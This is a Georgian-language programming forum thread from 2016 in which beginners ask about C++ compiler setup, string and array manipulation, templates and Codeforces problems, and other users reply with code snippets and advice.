ვინსოუს ვისუალ სტუდიო არის რაც მაქვს დაინსტალირებული

შაქროII

Posted by: შაქროII 6 Feb 2016, 02:40
QUOTE
ვინსოუს ვისუალ სტუდიო არის რაც მაქვს დაინსტალირებული

GCC როგორ ამუშავებ ვიზუალ სტუდიოში.......
tu devstudios ikeneb gamoikene gcc toolchain da ara msvc

gaakete console application
da ara
console gui aplication

რაღაც გაქვს არეულდარეული მანდ...კოდის შეცდომა არაა

Posted by: ibo 6 Feb 2016, 03:24
შაქროII
უი ბოდიში, ვისუალ სტუდიო კი არა CodeBlocks არის, უფასო პროგრამა რომ არის თუ იცი ეგ

Posted by: შაქროII 6 Feb 2016, 04:00
Settings menu->Compiler and Debugger->Global compiler settings->Linker settings->Other Linker Options: The working sequence is: -lmingw32

და/ ან
http://stackoverflow.com/questions/21500724/c-undefined-reference-to-winmain16-codeblocks

პ.ს.
დევ ც++ გადადი
http://orwelldevcpp.blogspot.com/

aba scade da main funqcia aseti iyos

int main(int argc, char** argv)
anu argumentebit...tu imuSava gavafren smile.gif

Posted by: ibo 6 Feb 2016, 04:26
შაქროII
შენ გაიხარე!
ლინკი რომ დამიდე ეგრე გავაკეთე და გაუშვა smile.gif
დიდი მადლობა!

ეგ დევ ცპპ რითი ჯობია? ამ ბლოკს ისა აქვს კარგი რომ ბევრნაირი პროჯექტები აქვს, ქრიეით პროჯექტს რომ ვაძლევ სადაც ქონსოლ ეპლიქეიშენს ვირჩევ სხვაც ბევრია ამოსარჩევი და თითქოს ბევრი რამე უკვე გამზადებულიაო

aba scade da main funqcia aseti iyos

int main(int argc, char** argv)
anu argumentebit...tu imuSava gavafren
ეს ვერ მივხვდი, იმ ლინკზე როგორც წერია ბაილდ ოპშენში ერტი "პტიჩკა" დავსვი და გაუშვა ეგრევე აღარ ამომიგდო ეგ შეცდომა

Posted by: შაქროII 6 Feb 2016, 21:36
ibo
ოკ..
QUOTE
ეგ დევ ცპპ რითი ჯობია?

თიტქმის არაფრით...უბრალოდ უფრო ბევრი იყენებს..

კოდე ბლოკს იდე ლინუქსზეც მუშაობს ასე რომ იქაც შეგიძლია იგივე პროექტი დააკომპილო..კარგი იდეა....1-2 ჯერ ვცადე და მომეწონა...
რაღაცეების კონფიგურირება შეიძლება დაგჭირდეს ხელით...როგორც ამ შემთხვევაში მაგალითად...დაგუგლე ხოლმე და ნახავ...

Posted by: Gooramos 27 Feb 2016, 00:34
როგორ დავწერო პროგრამა რომელიც გარკვეული პირობის შესრულების შემთხვევაში, გადამიყვანს რომელიმე საიტზე.

დავგუგლე და ვნახე ეს პასუხი. ბევრი ვერ გავიგე.
Run a web server like Apache that supports the Common Gateway Interface (CGI), which can run your C++ program when the appropriate HTTP request (e.g. GET /cgi-bin/hello_world.cgi) is made and pass all of the request headers and cookies to your C++ program in a standardized format

Posted by: Roofus 27 Feb 2016, 00:40
Gooramos
ეგ პირიქითაა ანუ საიტიდან პროგრამის გამოძახება... შენ გინდა უკუღმა... პროგრამიდან საიტის გახსნა.

ბრაუზერ ფუნქცია მოძებნე გუგლში.

Posted by: Gooramos 27 Feb 2016, 01:02
Roofus
რამდენჯერაც ვცადე მაგ ფუნქციის დაგუგლვა, სულ ან გაურკვეველ რაღაცეებს ვნახულობ და ან cppში ბრაუზერის შექმნის ტუტორიალს biggrin.gif სხვა გზა არ არსებობს?

Posted by: koshogio 27 Feb 2016, 01:06
Gooramos
აუცილებლად C++ ში გინდა დაწერო?
ყველაზე მარტივად ჯავასკრიპტში დაწერ.
CODE
<script type="text/java[ertad]script">
აქ პირობები:
   window.location.href = "http://www.google.com";
</script>

შეინახე .html გაფაrთოებით.

Posted by: Gooramos 27 Feb 2016, 01:08
koshogio
ჯავასკრიპტი არ ვიცი.
c++-ს ვსწავლობ და ამოცანების ამოხსნის პარალელურად რაღაც საინტერესოს გაკეთებას შევეცდები თქო biggrin.gif თამაშივით რაღაცა გავაკეთე, მაგრამ ზედმეტად უაზრობა გამომივიდა.

თუ რთულია, ჯობია გავანებო.

Posted by: Roofus 27 Feb 2016, 01:10
Gooramos
http://stackoverflow.com/questions/153046/launch-web-page-from-my-application

ეს ნახე უკვე?

Posted by: Gooramos 27 Feb 2016, 01:13
Roofus
არა. ეს აქამდე არ მინახავს.

დიდი მადლობა.

Posted by: bersena 5 Mar 2016, 15:30
გავასწორე bis.gif

Posted by: Gooramos 9 Mar 2016, 15:16
ორმაგი მასივის დასორტვა მხოლოდ sort ფუნქციით შეიძლება? თუ ცალკე ფუნქცია უნდა დაიწეროს?
int a[24][60];
sort(a,a+60);
ესე ვერ დავსორტე.

Posted by: Dixtosa 9 Mar 2016, 15:49
Gooramos
გააჩნია მატრიცის დასორტირება როგორ გინდა. თუ ზევიდან ქვევით და მარჯვნიდან მარცხნივ მაშინ

sort(a[0], a[0]+24 * 60); იმუშავებს

Posted by: Mr_Gigi 10 Mar 2016, 00:51
c++ ში სტრინგიდან ერთი და იგივე სიმბოლოები როგორ წავშალო?
ანუ, თუ არის მაგალითად aabccdjj როგორ დავტოვოთ abcdj ???

Posted by: koshogio 10 Mar 2016, 17:11
Mr_Gigi
QUOTE
c++ ში სტრინგიდან ერთი და იგივე სიმბოლოები როგორ წავშალო?

კოდი
CODE
#include <iostream>
using namespace std;
int i;
string s;
main ()
{
cin>>s;
for (i=0; i<s.size(); i++)
while (s[i]==s[i+1]) {s.erase(i,1);}
cout<<s;
}

Posted by: Dixtosa 11 Mar 2016, 01:18
Mr_Gigi
unique(str.begin(), str.end())

Str-ს შევცლის

Posted by: Pacacia 11 Mar 2016, 16:38
Mr_Gigi
QUOTE
c++ ში სტრინგიდან ერთი და იგივე სიმბოლოები როგორ წავშალო?
ანუ, თუ არის მაგალითად aabccdjj როგორ დავტოვოთ abcdj ???

set-ში ჩასვი

CODE

set <char> s;
for (i=0; i<n; i++) {
 s.insert(tolower(s1[i]));
}


tolower-ით დაბალ რეგისტრში გადაიტანს S1 სტრინგიდან ყველა სიმბოლოს S სეტში, რომ A და a ორჯერ არ შეინახოს

Posted by: შაქროII 27 Mar 2016, 01:24
Pacacia
ეგ უნდა?
მაგ: abbrakkadabbraa.
თუ უნდა abrakadadabra ეგ არ იმუშავებს

Posted by: Pacacia 27 Mar 2016, 11:29
შაქროII
QUOTE
aabccdjj როგორ დავტოვოთ abcdj ???

როგორც ვნახე, უნიკალური სიმბოლოების დატოვება უნდა მხოლოდ და სეტიც ზუსტად მაგას აკეთებს

ან მეორე გზა
CODE

#include <iostream>
using namespace std;
string s;
int i;
main() {
cin>>s;
for (i=s.size(); i>=0; i--) {
 if (s[i]==s[i-1]) s.erase(i,1);
}
cout<<s;
}

Posted by: bebo90 30 Mar 2016, 16:07
ხალხნო საიდან დავიწყო ამის სწავლა შეგიძლია დამილინკო

Posted by: Roofus 31 Mar 2016, 00:02
bebo90
http://www.cplusplus.com/doc/tutorial/
http://forum.c-base.xyz/index.php?/files/file/19-programming-in-easy-steps/

Posted by: cplustaz 11 Apr 2016, 02:23
გამარჯობათ, მე ახალი ვარ c++ ში smile.gif I კურსელი ვარ ქუთაისიდან. ხოდა რახდება ახლა ერთი ამოცანა მაქვს, ალგორითმი მოვიფიქრე მაგრამ ვერ ვწერ და ინქებ დამეხმაროთ.

ამოცანა:
ადამიანი ყიდის თმებს. თმების ბაზარი ძალიან დინამიურია, ამიტომ ერთი სმ-ს ფასი გამუდმებით იცვლება. ცნობილია თმების ფასი უახლოესი N დღის განმავლობაში ყოველდღიურად. დღეების ნომრებია 0-დან N-1 ჩათვლით. საჭიროა თმები გაიყიდოს ისეთ დღეებში რომ შემოსავალი იყოს მაქსიმალური. თმები იზრდება მხოლოდ ღამით და ღამეში იმატებს 1 სმ-ს. 0-ვანი დღისთვის მისი თმების სიგრძეა 1 სმ.

მაგ 1:
5
73 31 96 24 46 პასუხი: 380.

ანუ მასივი დავიწყე 1-დან <=N ჩათვლით ვიპოვე მაქსიმუმი მასივში შევინახე მისი ინდექსი გავამრავლე ინდექსის ნომერზე (ანუ დღეზე), უფრო ზუსტად რო ვთქვათ 96*3 + 46 * 2 = 380.

მაგ 2:
10
1 2 3 4 5 6 7 8 9 10
აქ დაიცდიდა და ბოლო დღეს როცა თმის ფასი ყველაზე მაღალი იყო გაყიდიდა და პასუხი არის 10*10 ზე = 100

#include <iostream>
#include <cstdio>
#include <cmath>

using namespace std;

int a[101];

int main () {
int n;
scanf("%d", &n);

for (int i=1; i<=n; i++)
{
scanf("%d", &a[i]);
}

int k=0, m=0, ans=0;

for (int i=1; i<=n; i++)
{
if(a[k]<a[i]) k=i; ans=a[k]*k;
}

int s=0;

for (int j=k; j<=n; j++)
{
if(a[s]<a[j]) s=j; m=a[j]*(n-s);
}

ans+=m;

cout<<ans;

return 0;
}

ჯერ ეს მიწერია და მოსაფიქრებელი კიდევ ბევრია smile.gif ?


Posted by: ILIA1702 11 Apr 2016, 12:44
cplustaz
ჯერ დაიწყე ფსევდო კოდის და ალგორითმის გააზრებით და მერე კოდად უფრო გაგიმარტივდება გადაკეთება
იდეა ის არის რომ ექტრემუმი წერტილები(მაქსიმალური მნიშვნელობები უნდა იპოვო) ჯერ პირველი მაქსიმუმი და გაყიდო მაგ დროს აი შემდეგ რეკურსიულად დაუმატო შემდეგი მაქსიმუმი(თუ არსებობს) და ასე შემდეგ ბოლომდე. ჯერ უფრო მარტივი ამოცანა აიღე დამწყები თუ ხარ.

Posted by: cplustaz 11 Apr 2016, 13:00
ამაზე ბევრად რთული დინამიური ამოცანებიც მაქვს განაკეთები, დრო დასაწერად ბევრი დამჭირდა მაგრამ კარგი გამოცდილება მივიღე უკვე.

რეკურისია? ვერ ვხვდები რეკურსიით ეს როგორ გაკეთდება :X ეს ამოცანა დინამიურ ამოცანებში ვნახე მაგრამ ჩემი ალგორითმი დინამიური კი არა უფრო ხარბია, და მგონი სწორადაც მივდივარ..
* * *
ქვეპროგრამას მასივი როგორ გადავცე არც ეგ არ ვიცი ჯერ :/ არ მისწავლია ჯერჯერობით.
შენ მეუბნები ჯერ მაქსიმუმი იპოვე გაამრავლე ინდექსზეო და შემდეგი ციკლი დავიწყო იმ ინდექსიდან და გადავცე ქვეპროგრამას ხო? სწორად გავიგე? თუ სწორად გავიგე ჩემსავით ფიქრობ ასე გამოდის, მაგრამ რეკურსიამ დამაბნია... რა ვუყო მისგან დაბრუნებულ პასუხს? შენ უფრო შორს წამიყვანე biggrin.gif

Posted by: ILIA1702 11 Apr 2016, 13:11
cplustaz
ხოდა თუ დაიბენი მაშინ გაუყევი ფორ ციკლებით და ჩატენე იფები და გამოვა ეგრეც.
დაიწყე შედარება სანამ შემდეგი წევრი მეტია წინაზე წინ წინ იარე, დაირღვევა ეს პირობა და ექტრემი ყოფილა უცებ გადაამრავლე ინდექსზე შეინახე ეგ მნიშვნელობა და ინდექსი ჩამოყარე, ამის შემდეგ კი გზა განაგრძე.

Posted by: cplustaz 11 Apr 2016, 13:30
კარგი მე ამაზე ვიფიქრებ და შენ თუ დრო გაქვს და სურვილი ერთ ამოცანას გეტყვი, მე ჯერ ვერ გავაკეთე, ალგორითმი ვერ მოვიფიქრე.

http://informatics.mccme.ru//mod/statements/view.php?chapterid=213

საჭადრაკო ასოციაციამ გადაწყვიტა თავის თანამშრომლების მომარაგება ტელეფონების ისეთი ნომრებით, რომელთა აკრებას სჭირდება მხედრის სვლები. მაგალითად 340-49-27 ნომერი იკრიბება მხედრის სვლებით. ამასთან, ტელეფონის ნომერი არ უნდა იწყებოდეს 0 და 8–თ.

დაწერეთ პროგრამა, რომელიც დაადგენს N სიგრძის ტელეფონის ნომრების რაოდენობას.

მხოლოდ N შემოდის.
7 8 9
4 5 6
1 2 3
0

თუ შემოვა მაგ: 2 პასუხი იქნება 27 და 29. წინ და უკან დაბრუნებაც შეგიძლია.

Posted by: nika_nika0406 30 May 2016, 08:13
ვინც შაბლონები იცით ეს კოდი რატომ მუშაობს ვერ გავიგე.

#include <iostream>
#include <conio.h>

using namespace std;

template <typename A, class B>
void Function(A k, B l) {
cout << &k << endl << &l;
}

class MyClass {};

int main() {

MyClass obj, obj1;
Function(obj, obj1);


_getch();
return 0;
}

Posted by: gio_rgi 1 Jul 2016, 11:21
QUOTE (nika_nika0406 @ 30 May 2016, 08:13 )
ვინც შაბლონები იცით ეს კოდი რატომ მუშაობს ვერ გავიგე.

#include <iostream>
#include <conio.h>

using namespace std;

template <typename A, class B>
void Function(A k, B l) {
cout << &k << endl << &l;
}

class MyClass {};

int main() {

MyClass obj, obj1;
Function(obj, obj1);


_getch();
return 0;
}

რატომ მუშაობს თუ როგორ მუშაობს?

Posted by: Shredinger 1 Jul 2016, 12:58
nika_nika0406
მე დიდი ეჭვი მაქვს რომ მაგას უნივერსიტეტში გაწავლინა.
ყოველიშემთხვევისთვის ჯობია რომ რადგან C++ ში წერ წერო C++ ში და C ს არაფერი გაურიო.
ან ერთი აირჩიე ან მეორე.

ეგ კიდე ჩვეულებრივი შაბლონური ფუნქციაა არაფერი განსაკუთრებული. ეგაა და ეგ მაგის დანიშნულება.

Posted by: STALKER(zubalama) 1 Jul 2016, 15:15
nika_nika0406
Function-ს ტიპები ჭირდება გამოძახებისას
CODE
Function<MyClass,MyClass>(obj, obj1)

თან შენს კლასს << ოპერატორი არ აქვს გადატვირთული და არ იმუშავებს...

Posted by: gio_rgi 1 Jul 2016, 17:48
QUOTE (nika_nika0406 @ 30 May 2016, 08:13 )
ვინც შაბლონები იცით ეს კოდი რატომ მუშაობს ვერ გავიგე.

#include <iostream>
#include <conio.h>

using namespace std;

template <typename A, class B>
void Function(A k, B l) {
cout << &k << endl << &l;
}

class MyClass {};

int main() {

MyClass obj, obj1;
Function(obj, obj1);


_getch();
return 0;
}

რატომ მუსშაობს თუ როგორ მუშაობს? თუ იმას გულისხმობ როგორ მუშაობს შაბლონური ფუნქზცია და ზოგადად template<> ოპერატორი C++ ენაში
კონკრეტულად ამ შემთხვევაში ფუნქცის არგუმენტებად template<> ოპერატორით შემოგვაქვს განუსაზღვრელი ტიპის ორი არგუმენტი იმისათვის რომ შემდეგში როდესაც ფუნქციას გამოვიძახებთ ჩვენთვის სასურველი ტიპის არგუმენტები მიუთითოთ აეს იქნება int, char თუ Myclass ტიპის არგუმენტი ყველას მიმართ რომ ერთნაირად იმუშაოს ანუ ეს ფუნქცია ასე რომ დაწერო
CODE
void Function(int k, char l) {
cout << &k << endl << &l;
}

გამოძახების დროს: Function(obj, obj1) მოქვცემდა შეცდომას იმიტომ რომ ფუნქცის არგუმენტები MyClass ტიპის კიარ უნდა ყოფილიყო არამედ იმ ტიპის რაც მიუთითეთ ზემოთ ფუნქცის განსაზღვრის დროს
* * *
QUOTE (Devastator @ 30 Jan 2016, 22:27 )
Dixtosa
მადლობა დახმარებისათვის smile.gif
შაქროII
დიდი ხანია ვეღარ შემოვედი და ეხლა ვნახე მინაწერი. დავწერ კიდევ, რა მჭირდება.
მაქვს მასივი, ორგანზომილებიანი, ვთქვათ 4x4
მაგალითად:
1234
5678
9876
5432
ეს მატრიცა მინდა დავყო ოთხ მატრიცად.
მაგალითად:
a:
12
56
b:
34
78
c:
98
54
d:
76
32
.....
ანუ ოთხ თანაბარ ნაწილად ვყოფ ამ მასივს და ვერ გავაკეთე sad.gif
თუ შეგიძლიათ დამეხმაროთ დაწერეთ კოდი. ეხლა ამ კომპიუტერში არ მაქვს რაც დავწერე... არ გამოდის წესივრად იქ.

ასეც შეიზლება მართალია არც მთლად ავტომატურად აკეთებს და აკლია ფუნქცია რომ კონსოლზე გამოიტანოს შედეგები მაგრამ debug-ში რომ ვნახულობ შედეგი შესაბამისი აქვს
CODE

#include <iostream>

using namespace std;



int main()
{
int a[2][2], b[2][2], c[2][2], d[2][2], n = 0;
int ar[4][4] = { { 1, 2, 3, 4 },
                 { 5, 6, 7, 8 },
                 { 9, 8, 7, 6 },
                 { 5, 4, 3, 2 } };
while (n < 4)
{
 switch (n)
 {
 case 0:
  a[n][n] = ar[n][n];
  b[n][n] = ar[n][n + 2];
  c[n][n] = ar[n + 2][n];
  d[n][n] = ar[n + 2][n + 2];
  break;
 case 1:
  a[n - 1][n] = ar[n - 1][n];
  b[n - 1][n] = ar[n - 1][n + 2];
  c[n - 1][n] = ar[n][n + 2];
  d[n - 1][n] = ar[n + 1][n + 2];
  break;
 case 2:
  a[n - 1][n - 2] = ar[n - 1][n - 2];
  b[n - 1][n - 2] = ar[n - 1][n];
  c[n - 1][n - 2] = ar[n + 1][n - 2];
  d[n - 1][n - 2] = ar[n + 1][n];
  break;
 case 3:
  a[n - 2][n - 2] = ar[n - 2][n - 2];
  b[n - 2][n - 2] = ar[n - 2][n];
  c[n - 2][n - 2] = ar[n][n - 2];
  d[n - 2][n - 2] = ar[n][n];
  break;
 }
 n++;
 
}


}

* * *
QUOTE (Devastator @ 30 Jan 2016, 22:27 )
Dixtosa
მადლობა დახმარებისათვის smile.gif
შაქროII
დიდი ხანია ვეღარ შემოვედი და ეხლა ვნახე მინაწერი. დავწერ კიდევ, რა მჭირდება.
მაქვს მასივი, ორგანზომილებიანი, ვთქვათ 4x4
მაგალითად:
1234
5678
9876
5432
ეს მატრიცა მინდა დავყო ოთხ მატრიცად.
მაგალითად:
a:
12
56
b:
34
78
c:
98
54
d:
76
32
.....
ანუ ოთხ თანაბარ ნაწილად ვყოფ ამ მასივს და ვერ გავაკეთე sad.gif
თუ შეგიძლიათ დამეხმაროთ დაწერეთ კოდი. ეხლა ამ კომპიუტერში არ მაქვს რაც დავწერე... არ გამოდის წესივრად იქ.

დახლოებით ესე შეიზლება მართალია ცოტა ნაკლები ავტომატიზაცია აქვს და შედეგებიც არც ისე მიმზიდველად გამოაქვს ეკრანზე
CODE
#include <iostream>

using namespace std;



int main()
{
int a[2][2], b[2][2], c[2][2], d[2][2], n = 0;
int ar[4][4] = { { 1, 2, 3, 4 },
                 { 5, 6, 7, 8 },
                 { 9, 8, 7, 6 },
                 { 5, 4, 3, 2 } };
while (n < 4)
{
 switch (n)
 {
 case 0:
  a[n][n] = ar[n][n];
  b[n][n] = ar[n][n + 2];
  c[n][n] = ar[n + 2][n];
  d[n][n] = ar[n + 2][n + 2];
  break;
 case 1:
  a[n - 1][n] = ar[n - 1][n];
  b[n - 1][n] = ar[n - 1][n + 2];
  c[n - 1][n] = ar[n][n + 2];
  d[n - 1][n] = ar[n + 1][n + 2];
  break;
 case 2:
  a[n - 1][n - 2] = ar[n - 1][n - 2];
  b[n - 1][n - 2] = ar[n - 1][n];
  c[n - 1][n - 2] = ar[n + 1][n - 2];
  d[n - 1][n - 2] = ar[n + 1][n];
  break;
 case 3:
  a[n - 2][n - 2] = ar[n - 2][n - 2];
  b[n - 2][n - 2] = ar[n - 2][n];
  c[n - 2][n - 2] = ar[n][n - 2];
  d[n - 2][n - 2] = ar[n][n];
  break;
 }
 n++;
 
}

cout << "a:\n" << a[0][0] << a[0][1] << '\n' << a[1][0] << a[1][1] << '\n';
cout << "b:\n" << b[0][0] << b[0][1] << '\n' << b[1][0] << b[1][1] << '\n';
cout << "c:\n" << c[0][0] << c[0][1] << '\n' << c[1][0] << c[1][1] << '\n';
cout << "d:\n" << a[0][0] << b[0][1] << '\n' << c[1][0] << d[1][1] << '\n';
}

Posted by: gio_rgi 12 Oct 2016, 22:51
https://www.youtube.com/channel/UC2MJiW3J6tIBA_y6XFRb50g

Posted by: Irakli2013 3 Dec 2016, 22:22
http://codeforces.com/problemset/problem/579/A
ამ ამოცანის ამოხსნაა ეს კოდი:
CODE
#include <iostream>
using namespace std;
int n, m=1, b=0;
main () {
   cin>>n;
   while(n>0) {
       m=1;
       while(2*m<=n)
           m=m*2;
       b++;
       n=n-m;
}

cout<<b;

}


და აქ n=n-m რას აკეთებს? გასაგებია რომ m-ის მნიშვნელობა აკლდება n-ს, მაგრამ რატომ? რაში გვჭირდება?

Posted by: Dixtosa 3 Dec 2016, 22:27
Irakli2013
ციკლის ყოველ ჯერზე ითვლის უდიდეს ორის ხარისხს რომელიც ნაკლებია ან ტოლია Nზე და აკლებს N-ს.

რო არ დააკლოს ჩაიციკლება.

Posted by: Irakli2013 3 Dec 2016, 22:29
Dixtosa
გასაგებია
მადლობა

ვცადე მაგის გარეშე ჩამერთო, მაგრამ პასუხს არ მიგდებდა

Posted by: citizen_insane 6 Dec 2016, 03:05
ამოცანაზე დაფიქრებამდეც კი ამოხსნის ნახვა რომ შეიძლება ძალიან ცუდია. ამ მხრივ Codeforces ყველა ცნობილი OJ ჯობია. ალგორითმების ნებისმიერი წიგნი ხომ მით უმეტეს.

Posted by: Irakli2013 6 Dec 2016, 18:46
კოდფორსზე დამწყებებისთვის ამოცანები მირჩიეთ რა smile.gif

Posted by: Dixtosa 6 Dec 2016, 19:56
citizen_insane
და რო მოითმინო და არ ნახო არა? biggrin.gif


ისე ჯიმში არის ამოცანები რომლის ამოხსნას მხოლოდ გატარების მერე ნახავ

http://codeforces.com/gyms

Posted by: Pacacia 6 Dec 2016, 23:20
citizen_insane
QUOTE
ამოცანაზე დაფიქრებამდეც კი ამოხსნის ნახვა რომ შეიძლება ძალიან ცუდია.

Gym ან contest-ები წერე მერე, რაპრობლემაა.

ჩემი აზრით codeforces-ის ყველაზე დიდი პლიუსი ზუსტად ეგაა, რომ სხვისი კოდის ნახვა შეგიძლია.
ამოცანას რო დავწერ მერე სხვის ამოხსნებსაც ვნახულობ და ხშირად ბევრ ახალ რამეს ვსწავლობ

Posted by: citizen_insane 7 Dec 2016, 10:33
Dixtosa
Pacacia
ვიცი, რომ Gym და კონტესტებია და ძალიან კარგია. ზოგადად დამყვებებზე მაქვს საუბარი და Codeforces-ის Problemset-ის ნეგატიურ გავლენაზე მათზე. ზოგი თეორიას არ კითხულობს და საკუთარი თავით ფიქრიც ეზარება, ვერ ითმენს და 20 კენტესტის მერეც მწვანე რჩება (ვიცნობ რამდენიმეს).

Irakli2013
ამომხსნელების რაოდენობის მიხედვით დაალაგე და მიყევი. ამ ჩანაწერს გახედე http://codeforces.com/blog/entry/23054, ბევრი სასარგებლო რამ წერია.
თეორიის სასწავლებლად ეს საიტია კარგი - https://www.hackerrank.com/

Posted by: Dixtosa 7 Dec 2016, 11:08
citizen_insane
QUOTE
20 კენტესტის მერეც მწვანე რჩება

ოჰ ეს color-shaming არ მევასება რა. ყველას არ შეუძლია რამდენიც შენ შეგიძლია (აქ ვუშვებ რომ შენ მოახერხე პირველ ოცში გალურჯება წინააღმდეგ შემთხვევაში hypocrisy დონე გულისამრევია).

ნიჭი არსებობს. მარტო თეორია და მუშაობა არ შველის. ასევე არსებობს ადამიანები რომლებიც ნელა აზროვნებენ მაგრამ შეიძლება უფრო ღრმად ვიდრე შენ.

თან მითუმეტეს მწვანის გადალახვას არანაირი თეორია არ შველის.

და კიდე სხვისი კოდის კითხვა შეგიძლია გააიგივო თეორიასთან. კოდინგის თეორიასთან როგორც მინიმუმ.

მოკლედ ყველა იარაღს შეიძლება არასწორი მომხმარებელი ჰყავდეს.

Posted by: citizen_insane 7 Dec 2016, 12:51
Dixtosa
დამწყები ვარ მეც და ჩემი ნაცნობების პრობლემებზე დაკვირვებით სერვისის უარყოფითი მხარე აღვნიშნე. არსად დამიწერია ან მიგულისხმია, რომ ჩემი აზრი ავტორიტეტულია ან უცილობლად მართალი. თუ, ამ ფორუმზე ჩემი აზრი რომ გამოვთქვა (და ფარისევლად არ ჩამთვალონ) გარკვეულ წარმატებას უნდა მივაღწიო? 3 კონტესტში მივიღე მონაწილეობა და 1400 მაქვს რეიტინგი

საუბარი არ იყო ადამიანის ნიჭზე ან აზროვნების სიღრმეზე, იყო ზუსტად "იარაღის" არასწორ, არაოპტიმალურ გამოყენებაზე, დროის ტყუილად ხარჯვაზე; რომ კარგი იქნებოდა Codeforces ჰქონდეს რამე შეზღუდვა ამოხსების ნახვაზე, მცდელობამდე მაინც, ან იყოს დისკუსია ყოველ პრობლემაზე, როგორც სხვა ცნობილ საიტებზე. კოდის წერის თეორიასთნ ერთად, ალგორითმების თეორიის ცოდნის ხარისხიც მეტი იქნებოდა, სავარაუდოდ(!)

QUOTE
თან მითუმეტეს მწვანის გადალახვას არანაირი თეორია არ შველის.

რა თქმა უნდა. რამდენადაც მე ვიცი, Div2-ის პირველი ამოცანების უმრავლესობა იმპლემენტაციაზეა, პრაქტიკაც აუცილებელია

Posted by: Pacacia 7 Dec 2016, 19:05
citizen_insane
Div 2-ის A/B არანაირი ალგორითმი არ გჭირდება. A მთლიანად იმპლემენტაციაა. ზოგიერთ B-ში STL-ის სტრუქტურების გარეშე გაგიჭირდება. აი C უკვე გჭირდება ალგორითმების ცოდნა. ძირითადად მაინც გრაფებზე. DFS ყველაზე მეტად.

Posted by: Irakli2013 10 Dec 2016, 14:16
მიჭირს კოდფორსის ამოცანები sad.gif

სულ პირველები რომ არის ისინი გავაკეთე, მაგრამ მერე უკვე მირთულდება ძალიან

ზოგის პირობასაც ვერ ვგებულობ ხანდახან

Posted by: Irakli2013 13 Dec 2016, 15:55
დამეხმარეთ რა help.gif help.gif

ეს ამოცანაა: http://codeforces.com/problemset/problem/118/A

ეს კოდი
CODE
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
string s1;
int a,e,i,o,u,y,A,E,I,O,U,Y;
char q;
main () {
cin>>s1;
O=s1.find("O");
while (O!=-1){
s1.erase(O,1);
O=s1.find("O");
}
A=s1.find("A");
while (A!=-1){
s1.erase(A,1);
A=s1.find("A");
}
U=s1.find("U");
while (U!=-1){
s1.erase(U,1);
U=s1.find("M");
}
Y=s1.find("Y");
while (Y!=-1){
s1.erase(Y,1);
Y=s1.find("Y");
}
a=s1.find("a");
while (a!=-1){
s1.erase(a,1);
a=s1.find("a");
}
I=s1.find("I");
while (I!=-1){
s1.erase(I,1);
I=s1.find("I");
}
e=s1.find("e");
while (e!=-1){
s1.erase(e,1);
e=s1.find("e");
}
i=s1.find("i");
while (i!=-1){
s1.erase(i,1);
i=s1.find("i");
}
E=s1.find("E");
while (E!=-1){
s1.erase(E,1);
E=s1.find("E");
}
o=s1.find("o");
while (o!=-1){
s1.erase(o,1);
o=s1.find("o");
}
u=s1.find("u");
while (u!=-1){
s1.erase(u,1);
u=s1.find("u");
}
y=s1.find("y");
while (y!=-1){
s1.erase(y,1);
y=s1.find("y");
}
long int c=s1.size();
q=46;
for (int i1=0; i1<c; i1++){
   if (s1[i1]<97) s1[i1]=s1[i1]+32;
cout<<q<<s1[i1];
}
}



კოდფორსმა კიდევ 28 ტესტზე ამომიგდო შეცდომა:
QUOTE
Test: #28, time: 30 ms., memory: 0 KB, exit code: 0, checker exit code: 1, verdict: WRONG_ANSWER
Input
femOZeCArKCpUiHYnbBPTIOFmsHmcpObtPYcLCdjFrUMIyqYzAokKUiiKZRouZiNMoiOuGVoQzaaCAOkquRjmmKKElLNqCnhGdQM
Output
.f.m.z.c.r.k.c.p.h.n.b.b.p.t.f.m.s.h.m.c.p.b.t.p.c.l.c.d.j.f.r.u.q.z.k.k.u.k.z.r.z.n.g.v.q.z.c.k.q.r.j.m.m.k.k.l.l.n.q.c.n.h.g.d.q
Answer
.f.m.z.c.r.k.c.p.h.n.b.b.p.t.f.m.s.h.m.c.p.b.t.p.c.l.c.d.j.f.r.m.q.z.k.k.k.z.r.z.n.m.g.v.q.z.c.k.q.r.j.m.m.k.k.l.l.n.q.c.n.h.g.d.q.m
Checker Log
wrong answer 1st words differ - expected: '.f.m.z.c.r.k.c.p.h.n.b.b.p.t.f...j.m.m.k.k.l.l.n.q.c.n.h.g.d.q.m', found: '.f.m.z.c.r.k.c.p.h.n.b.b.p.t.f...r.j.m.m.k.k.l.l.n.q.c.n.h.g.d.q'


მოკლედ, ჩემმა კოდმა რატომღაც ბოლოში ერთი სიმბოლო დააკლო და ხომ ვერ მეტყვით რა გავაკეთო? help.gif

Posted by: gio_rgi 13 Dec 2016, 22:57
[/CODE]
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
string s1;
int a,e,i,o,u,y,A,E,I,O,U,Y;
char q;
main () {
cin>>s1;
O=s1.find("O");
while (O!=-1){
s1.erase(O,1);
O=s1.find("O");
}
A=s1.find("A");
while (A!=-1){
s1.erase(A,1);
A=s1.find("A");
}
U=s1.find("U");
while (U!=-1){
s1.erase(U,1); // ამ მეტოდით erase შლი სტრინგის მასივში find მეთოდით მოძებნილ სიმბოლოს ანუ M წაშალე და კონსოლზე როგორღა გამოიტანს
U=s1.find("M"); // აქ M მაგივრად U უნდა გეწეროს
}
Y=s1.find("Y");
while (Y!=-1){
s1.erase(Y,1);
Y=s1.find("Y");
}
a=s1.find("a");
while (a!=-1){
s1.erase(a,1);
a=s1.find("a");
}
I=s1.find("I");
while (I!=-1){
s1.erase(I,1);
I=s1.find("I");
}
e=s1.find("e");
while (e!=-1){
s1.erase(e,1);
e=s1.find("e");
}
i=s1.find("i");
while (i!=-1){
s1.erase(i,1);
i=s1.find("i");
}
E=s1.find("E");
while (E!=-1){
s1.erase(E,1);
E=s1.find("E");
}
o=s1.find("o");
while (o!=-1){
s1.erase(o,1);
o=s1.find("o");
}
u=s1.find("u");
while (u!=-1){
s1.erase(u,1);
u=s1.find("u");
}
y=s1.find("y");
while (y!=-1){
s1.erase(y,1);
y=s1.find("y");
}
long int c=s1.size();
q=46;
for (int i1=0; i1<c; i1++){
if (s1[i1]<97) s1[i1]=s1[i1]+32;
cout<<q<<s1[i1];
}
}[/CODE]

Posted by: Irakli2013 13 Dec 2016, 23:59
QUOTE (gio_rgi @ 13 Dec 2016, 22:57 )
[/CODE]
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
string s1;
int a,e,i,o,u,y,A,E,I,O,U,Y;
char q;
main () {
cin>>s1;
